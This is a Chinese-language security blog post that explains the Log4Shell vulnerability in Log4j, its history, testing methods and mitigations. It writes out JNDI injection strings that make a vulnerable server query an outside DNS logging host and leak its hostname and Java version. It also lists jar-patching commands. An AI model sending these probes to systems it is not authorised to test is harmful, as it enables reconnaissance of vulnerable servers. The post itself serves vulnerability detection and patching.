2021最大資安漏洞!修補方式一次完整揭露

2022/01/05

Log4 Shell應該為今年2021最大資安漏洞之一，簡單暴力的打法、注入點是在家家戶戶必備的log4j之中的error紀錄函式上、外加Log紀錄一定是什麼header、cookie、使用者資料全部塞進去Log，而且為了稽核紀錄的關係登入前就已經會記錄使用者行為，就好像隨便把攻擊代碼塞進任何欄位裡面，都會觸發，真的是太神啦！！！！

在事發兩週之後漸漸開始收斂的時候，希望這篇文章的側寫和修補方式對台灣的企業有所幫助。

漏洞成因時間軸
2013 七月的時候，當時的 log4j 有個方便開發者在Log加入資料[1]的需求，於是加入了 JDNI Lookup的功能，方便開發者插入資料。

log4j JDNI Lookup

但是呢，隔年的2014十一月的時候，有人希望可以在這個方便的功能上加上開關[2]，他不需要！因為和Apache Camel打架了，導致該開發者沒辦法寫他要的功能。

log4j

而2017十一月後，有開發者希望可以全域關閉JDNI Lookup功能[3]，還好有這個需要開出issue，不然在第一個時間點當下真的生不出來緩解方法，他救了半個世界！也就是說formatMsgNoLookups這個參數是這個issue產生的。

formatMsgNoLookups

在Log4j功能一眠大一吋的時候，資安圈其實在2015就發表了 JDNI Injection的問題。JDNI Injection 在資安圈最早的研究來自於資安研究大神 pwntester 於2015 在 BlackHat USA 發表的 A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land[4]，但當初研究設定的情境多為內網連接問題，基本上RMI與JDNI介接多為內網傳輸，加上當時OWASP Top 10 2017尚未推出，多數資安檢測或稽核尚未重視 Log 撰寫的部分，也許是因此才未被發現。

OWASP Top 10 2017

但其實就目前的POC來看，另一篇需要研究的paper為2017年五月的反序列化Java Unmarshaller Security - Turning your data into code execution[5]，在marshalsec這個工具中提供了JDNI的LDAP Server和RMI Server可轉送HTTP伺服器上面已撰寫好的JAVA Class檔案做為代碼執行的素材使用，若不是這篇paper也可能不會出現LogShell。

看更多: JAVA世界中不安全的反序列化風險

以時間軸看來，可能很多人會好奇為何在JDNI injection發表後過了那麼久才出現那麼嚴重的弱點，但實際上首先因為Java本身特性獨立於file-based或是MVC架構的網站之外，是自成一格的情況，因此也格外難分析，需要特別研究專精；另外就是反序列化的發展到了一個程度，相比前幾年的情況，現在更多研究者或是滲透測試工程師更加瞭解這類相對較為複雜的弱點，也相對更熟悉反序列化Gadget Chain工具的情況下，才能發現這天大的巧合。

漏洞簡易分析

經過前面時間軸解說，其實可以發現 JDNI Lookup 在Log4j中其實是一種spec存在，所以我們可以參考官方文件：https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html
其實依照文件看來，多數人都會以為應該在XML設定檔中才能使用 JDNI Lookup 語法，結果不然。目前多數POC Code都使用logger.error()做為測試注入點使用，但理論上應該所有的紀錄函式皆可做為注入點使用，包含：logger.trace(), logger.debug(), logger.error(), logger.info(), logger.warn() 。

漏洞測試方法

黑箱部分類型的掃描目前有許多公開的掃描器或是 JNDI Request Receiver，但多數人測試方法皆有誤，並不是將JDNI測試用語法直接放入各類參數後送出請求後看到Out-of-Band的DNS紀錄就存在漏洞，而是應該將相關的JNDI Lookup語法與LDAP/RMI URI串接或者當做變數使用，才能確認JNDI有被執行所以漏洞存在。也就是說，目前很多測試都是透過注入以下字串搭配dnslog.cn進行測試：

${jndi:ldap//你的亂碼值.dnslog.cn/a}

但事實上是這樣並不是完整的測試，也因此twitter出現很多用上面測試代碼的迷因嘲諷。我們可以參考 @therceman 在twitter [7]中所發表的 Log4Shell Vulnerability Cheatsheet 來構成我們的payload：

${jndi:ldap//${hostName}-${sys:java.version}.你的亂碼值.dnslog.cn/a}

如果DNS Query在發處請求時，在亂碼值前方有帶上主機的名稱及JAVA版本號，就能完全確定你的伺服器是有弱點的！

白箱類型掃描工具需要部屬到營運主機上，是以軟體組合分析工具邏輯開發。好比說CERT/CC所提供的CVE-2021-44228_scanner[8]，目前有三種版本，分別是powershell, python, 或shell script。主要是以遞迴方式檢查資料夾下所有jar檔案之中是否存有JndiLookup.class，也因此有可能會有誤判的情況發生，需要人工再檢視確認版本號。

另一隻也是由軟體組合分析工具邏輯開發的是韓國SIEM廠商 LOGPRESSO 所開發的 log4j2-scan[9]，這邊所使用的檢測方式與CERT/CC所撰寫的有所不同，主要技巧一樣是以遞迴方式檢查資料夾底下的所有 jar 相關程式，解開後確認其中的 META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 檔案，並確認版本號，但同時也會確認是否被修補過！另外近期的Log4j相關的CVE通通都會幫你檢查，此外同時也能幫你做mitigation，真的是非常非常優秀的工具！！！

修補方式
1.升級至官方最新版本。但要停機又要先測試相容性又要開發一起協做，基本上非常非常困難。
2.執行時設定參數 log4j2.formatMsgNoLookups=true
或是透過環境變數設定 LOG4J_FORMAT_MSG_NO_LOOKUPS=true
3.直接移除 JndiLookup 類別
zip -q -d *.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
但這部分可以透過前面提到的 LOGPRESSO log4j2-scan 來執行會更完整

舊版 log4j 1.2額外修補方式
舊版本log4j 1.2存在 CVE-2021-4104的話mitigation的參考較少，但判斷方式應該為確認以下兩個變數於程式中有賦值的情況即為啟用jmxappender，即存在漏洞。

log4j.appender.jms.TopicBindingName=logTopic
log4j.appender.jms.TopicConnectionFactoryBindingName=ConnectionFactory

可以使用以下指令移除相關具有弱點的原件

zip –q -d log4j-1.2.16.jar org/apache/log4j/net/JMSAppender.class
zip –q -d log4j-1.2.16.jar org/apache/log4j/net/SocketServer.class
zip –q -d log4j-1.2.16.jar org/apache/log4j/net/SMTPAppender$1.class
zip –q -d log4j-1.2.16.jar rg/apache/log4j/net/SMTPAppender.class

產業訊息

2021最大資安漏洞!修補方式一次完整揭露

其他訊息

全新登場！阿里雲 CAPTCHA 服務，給您頂級安全防護與用戶體驗

什麼是DDoS攻擊？一次教你如何做好DDoS防護，保護你的網站！

如何提升網站效能優化？推薦5個改善網站速度的方法一次看！

雲端遷移成功關鍵因素

SOC它到底是什麼?它對資安有什麼作用?對於SOC資訊安全監控的功能與優勢有哪些?

精準運維，一站監控：探索騰訊雲可觀測平台的強大功能

Page Speed網頁速度如何加快？四種方法教你如何改善網站速度！

果核 2024 首發 Hacker Talk 論壇， 破解資安求職與無人機資安盲點

如何定義開源軟體＆套件？3分鐘快速搞懂第三方套件的授權模式！

雜貨店也能數位轉型？食品零售商如何透過公有雲優化商務呢

騰訊雲CCN雲聯網 手把手配置 高效穩定企業跨境全球互聯

【2024最新】公司企業的3款最佳Devops工具，成功案例一次看！

使用CDN安全嗎？CDN如何達到基本防護功能呢?

我用的APP安全嗎？會被竊個資嗎？3分鐘快速檢查手機APP資安！

如何確保做好企業資訊安全？這4大DDoS防護方法，推薦學起來！

發現手機被追蹤怎麼辦？注意 這十大被駭徵兆，手機資安恐不 保！

如何加快網站速度?影響網速的要件及升級指南

Vertex AI 和 Workbench 語言模組實戰，打造有人性的客服小幫手

我的 AWS實例啟用失敗，應該怎麼做？

果核 2023 最終場駭客論壇，探討網站風險、原碼檢測盲點與 Crypto 黑暗面

DDOS流量清洗是什麼？可以阻擋攻擊嗎？DDOS防禦方法一次看！

Devops是什麼？推薦企業一次看懂Devops定義、流程及優缺點！

如何做好資安防護？3個APP資安檢測工具、費用及功能一次看！

CDN廠商怎麼選？中華電信CDN、Cloudflare及Multi CDN大評比！

如何檢測iOS、Android手機資安？4招檢測方法預防詐騙＆駭客！

Google Cloud 引領潮流，擴大企業級生成式 AI的應用範疇，開創無限可能！

果核邀請專家獻策，破解惡意後門與車載資安盲點

企業為什麼要上雲？用途為何？盤點上雲5大優勢和費用解析！

可自建CDN嗎？和供應商差在哪？兩者優缺點和供應商挑選一次懂！

優化數據處理體驗：探索騰訊雲 EdgeOne 邊緣計算新境界

我該如何選擇最適合 AWS EC2 實例?

企業如何挑選合適的雲端服務？公有雲、私有雲差異比較總整理

技術專欄_運用AWS Network Firewall控制 Workspaces

弱點掃描工具有哪些？5款免費、付費弱點掃描工具優缺點分析！

如何設定網站CDN？推薦公司企業使用CDN加速的4大原因！

如何應對邊緣節點的網路攻擊？在 CDN 邊緣節點建立防護系統！

如何測試網站安全？OWASP工具測試弱點掃描的功能服務解析！

如何防禦DDoS攻擊？推薦這4大DDoS防護方法，避免網站被駭！

Google Cloud 初學者指南：我該將服務運行在哪呢？

果核串聯執法機關、資安廠商與風險顧問引導企業降低遇駭危機

企業需要SOC資安監控嗎？如何評估？看懂SOC監控的5大功能！

Multi CDN是什麼？為什麼要融合CDN？其應用方法與原理一次知！

如何利用CDN內容傳遞網路讓網站加速？4大優勢與趨勢分析！

DDoS攻擊怎麼防禦？DDoS攻擊手法與資安供應商挑選一次搞懂！

為什麼網站速度慢？和網頁設計有關嗎？速度慢會造成什麼影響？

如何提升企業雲端防護力-Cloud Armor

果核 2023 首發論壇，揭示藍隊能力升級、 開發／資安磨合的奧妙心法

2021 OWASP Top 10 A09資安紀錄與監控失效

2021 OWASP Top 10 A10伺服器請求偽造

安全防護：Web Application Firewall 設定教學

主動追蹤 AWS 「資源用量」，避免配額用盡造成任務失敗

我的網站慢嗎？如何檢測讓網站加速？新手必知 5 項網站優化指南！

阿里雲訪問控制與權限設置教學

該怎麼選擇 GCP Disk ?

AWS-WorkSpaces雲端桌面服務 (下集)

SOC 是什麼？SOC 資訊安全監控 v.s NOC 網路操作中心的差異？

2021 OWASP Top 10 A08軟體及資料完整性失效

OWASP前10大A07認證及驗證機制失效，瞭解如何修補及預防！

2022 果核 Hacker Talk 漂亮收尾， 解構開發模式、弱點檢測之安全盲點

CDN 內容傳遞網路是什麼？其運作的原理及用途為何？

SOC 資訊安全監控中心是什麼？4 項功能服務與優勢一次知！

如何提高網站的速度，為中國用戶提供可靠的體驗?

如果AWS訪問密鑰暴露怎麼辦？記住這4步驟一定要先做起來！

快速上手打造專屬直播平台

2021 OWASP Top 10 A06易受攻擊和已淘汰的組件

果核Hacker Talk傳授企業資安設計要訣，並探索IoT資安風險化解之道

HACKER TALK - 常被遺漏的開發測試環境如何面對駭客迎擊? 弱點掃描是否足夠阻擋駭客攻擊? 今年最後一場論壇，精彩議程不容錯過!

資安弱點掃描v.s滲透測試，差異在哪？3分鐘看優缺點與流程！

智慧戰情室能夠帶給企業什麼好處？一次瞭解其功能與特點！

我該如何選擇最適合的阿里雲 ECS 實例?

收到 AWS Abuse Report，該怎麼辦?

AWS-WorkSpaces雲端桌面服務 (上集)

公司網站速度慢怎麼辦？4 大網站速度慢原因，與自我檢測方法一次看

智慧戰情室能夠帶給企業什麼好處？一次瞭解其功能與特點！

什麼是公有雲？公有雲安全嗎？適合哪種企業使用？

2021 OWASP Top 10 A05 Security Misconfiguration 安全設定缺陷

2021 OWASP Top 10 A04 不安全設計

果核 2024 首發 Hacker Talk 論壇，破解資安求職與無人機資安盲點

騰訊雲CCN雲聯網手把手配置高效穩定企業跨境全球互聯

發現手機被追蹤怎麼辦？注意這十大被駭徵兆，手機資安恐不保！

果核 2023 首發論壇，揭示藍隊能力升級、開發／資安磨合的奧妙心法

2022 果核 Hacker Talk 漂亮收尾，解構開發模式、弱點檢測之安全盲點

如何提升網站速度及效能？推薦先搞懂動態v.s靜態網站的差異！

從零基礎學破解的駭客工具 Magisk Root，看懂駭客攻擊如何操作！

嚇！手遊資安危機　數小時恐喪失上億營收

從Google Play下載App保證安全!？資安業者：超過100款惡意程式會偷資料、點擊詐騙

網銀App漏洞金管會關注